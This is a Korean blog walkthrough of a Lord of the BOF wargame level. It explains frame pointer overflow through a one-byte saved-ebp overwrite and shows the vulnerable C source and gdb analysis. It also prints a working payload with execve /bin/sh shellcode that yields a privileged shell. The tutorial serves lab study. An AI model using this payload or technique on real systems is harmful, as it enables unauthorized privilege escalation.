2017. 11. 17. 13:19ㆍSystemHacking/LOB(BOF원정대)
golem / cup of coffee
[golem@localhost golem]$ /bin/bash2
[golem@localhost golem]$ export SHELL=/bin/bash2
[1] FPO ( Frame Pointer Overflow ) 조건
1. 1byte의 오버 플로우가 일어나야 한다 ( saved ebp 의 값을 변조하여 함수의 실행 루틴을 바꿀 수 있다 )
2. 메인 함수 이외의 서브 함수가 반드시 필요하다
2.1. leave & ret 의 실행이 두 번 일어나야 한다 ( leave = mov esp,ebp & pop ebp / ret = pop eip )
2.2. sub's leave : pop ebp => EBP = Fake ebp
2.3. sub's ret : pop eip => main의 루틴으로 이동
2.4. main's leave : mov esp,ebp : SFP는 ebp(fake ebp)에 위치하게 된다
2.5. main's ret : pop eip : EIP레지스터에는 ebp+4 지점의 값이 들어가고 실행된다 ( ebp+4 지점은 shellcode주소 )
[2] FPO 원리
기존에 우리가 알고 있었던 가장 간단한 스택 구조를 보면 다음과 같다
프로그램에 메인 함수만 있을 때의 구조입니다
saved ebp saved eip argc argv[0] argv[1] |
여기에 메인 함수에서 서브함수를 호출하는 경우를 생각해봅시다
어셈블리 명령어를 숙지 하고 있어야 이해할 수 있습니다
함수를 호출할 때에는 " call " 명령어를 사용합니다 ( function = 서브함수로 명명하고 설명하겠다 )
* call function : 실제로 push eip + jmp &function 이 실행된다 ㅡ ①
function 의 주소로 이동되고 function함수의 프롤로그 부분이 실행된다
* push ebp ㅡ ②
* mov ebp,esp ㅡ③
스택의 구조를 그려보겠습니다
saved ebp ② func's ebp ---- 스택프레임(SFP)은 이곳에 위치하고 있다 ③ saved eip ① func's eip saved ebp main's ebp saved eip main's eip argc argv[0] argv[1] |
그리고 만약 서브함수가 인자를 사용하는 경우에 스택 구조는 다음과 같습니다
saved ebp ② func's ebp ---- 스택프레임(SFP)은 이곳에 위치하고 있다 ③ saved eip ① func's eip argv fun's first argv .... .... saved ebp main's ebp saved eip main's eip argc argv[0] argv[1] |
* 함수는 인자를 사용할 때 ebp+8 지점에 있는 값부터 4byte씩 순서대로 인자로 사용한다
[3] 문제적용
실제 문제를 보면서 스택구조를 그려보겠습니다
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | /* The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO */ #include <stdio.h> #include <stdlib.h> void problem_child(char *src) { char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); } main(int argc, char *argv[]) { if(argc<2){ printf("argv error\n"); exit(0); } problem_child(argv[1]); } | cs |
[ gdb 분석 ]
0x8048498 <main+44>: push %edx <-- argv[1]
0x8048499 <main+45>: call 0x8048440 <problem_child>
=> push eip ⓛ
=> jmp 0x8048440
[ prologue ]
0x8048440 <problem_child>: push %ebp ②
0x8048441 <problem_child+1>: mov %ebp,%esp
.... ( 중간과정 생략 ) ....
[ epilogue ]
0x8048469 <problem_child+41>: leave
=> mov esp,ebp
=> pop ebp
0x804846a <problem_child+42>: ret
=> pop eip
[ Stack 구조 ]
saved ebp ② p_child's ebp <-- &shellcode - 4 로 변조할 것이다 why ??
saved eip ① p_child's eip
*argv &argv[1]
saved ebp
saved eip
argc
argv[0]
argv[1]
...
p_child 서브함수의 마지막 에필로그 부분의 실행 과정을 살펴보면 다음과 같습니다
1> leave : mov esp,ebp + pop ebp
=> 할당했던 변수들의 공간을 모두 회수 / 스택에 저장한 saved ebp를 EBP레지스터에 저장한다
( saved ebp는 우리가 변조할 주소입니다 )
2> ret : pop eip
=> SPF 는 pop ebp 를 수행한 다음 그 아래에 위치하게 됩니다. 즉, saved ebp 바로 아래 ( ebp+4 지점 )인 saved eip입니다
=> pop eip에 의해서 EIP레지스터에는 saved eip에 저장되어 있었던 값이 저장됩니다
[ 에필로그 과정에서 SFP의 동작 원리 ] ★★
leave에 의해서 SFP는 "saved ebp"가 저장된 스택주소에 위치하게 되고 pop ebp를 수행하고 ebp+4 지점에 위치하게된다
즉, saved ebp의 값을 &Shellcode - 4 주소로 변조한다면 EIP레지스터에는 &Shellcode가 들어가게된다
[ 실제 문제 풀이 ]
[golem@localhost golem]$ cp darkknight darkknight.cp
[golem@localhost golem]$ gdb -q darkknight.cp
(gdb) set disassembly-flavor intel
(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %ebp,%esp
.... ( 생략 ) ....
0x8048469 <problem_child+41>: leave
0x804846a <problem_child+42>: ret
0x804846b <problem_child+43>: nop
End of assembler dump.
(gdb) b *0x8048469
Breakpoint 1 at 0x8048469
(gdb) run $(python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"\xb4"')
Starting program: /home/golem/darkknight.cp $(python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"\xb4"')
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒ᙰ
̀▒▒▒▒▒N▒▒▒▒▒▒ @
Breakpoint 1, 0x8048469 in problem_child ()
(gdb) x/24x $ebp-40
< buffer 40byte >
0xbffffab4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffac4: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0xbffffad4: 0x99e18953 0x80cd0bb0 0xbffffab4 0x0804849e
변조된 saved ebp : 0xbffffab4 (&buffer) 를 저장하고 있다
< 쉘 코드의 실행원리 > : 함수의 에필로그 부분에서 이루어진다
mov esp,ebp / pop ebp child's leave => EBP = Fake ebp 적용
pop eip child's ret
mov esp,ebp / pop ebp main's leave
pop eip main's ret => EIP = ebp + 4 적용
* ebp + 4 지점은 쉘코드가 저장된 주소이다 !!
[ payload작성 ]
[golem@localhost golem]$ ./darkknight $(python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xb8"')
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒ᙰ
̀▒▒▒▒▒L▒▒▒▒▒▒▒ @
Segmentation fault
=> 보정작업
[golem@localhost golem]$ ./darkknight $(python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xa8"')
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒ᙰ
̀▒▒▒▒▒L▒▒▒▒▒▒▒ @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ whoami
darkknight
bash$ my-pass
euid = 512
new attacker
bash$
'SystemHacking > LOB(BOF원정대)' 카테고리의 다른 글
[13] darkknight -> bugbear ( RTL ( Return To Library ) ) (0) | 2017.11.17 |
---|---|
RTL 공격기법 원리 이해하기 예제 ( Omega Project ) (0) | 2017.11.17 |
[11] skeleton -> golem [ Hooking & LD_PREROAD ] (0) | 2017.11.17 |
[10] vampire -> skeleton ( Stack Memory 실제구조 & Symbolic Link ) (0) | 2017.11.17 |
[9]troll -> vampire ( Stack Memory Range ) (0) | 2017.11.17 |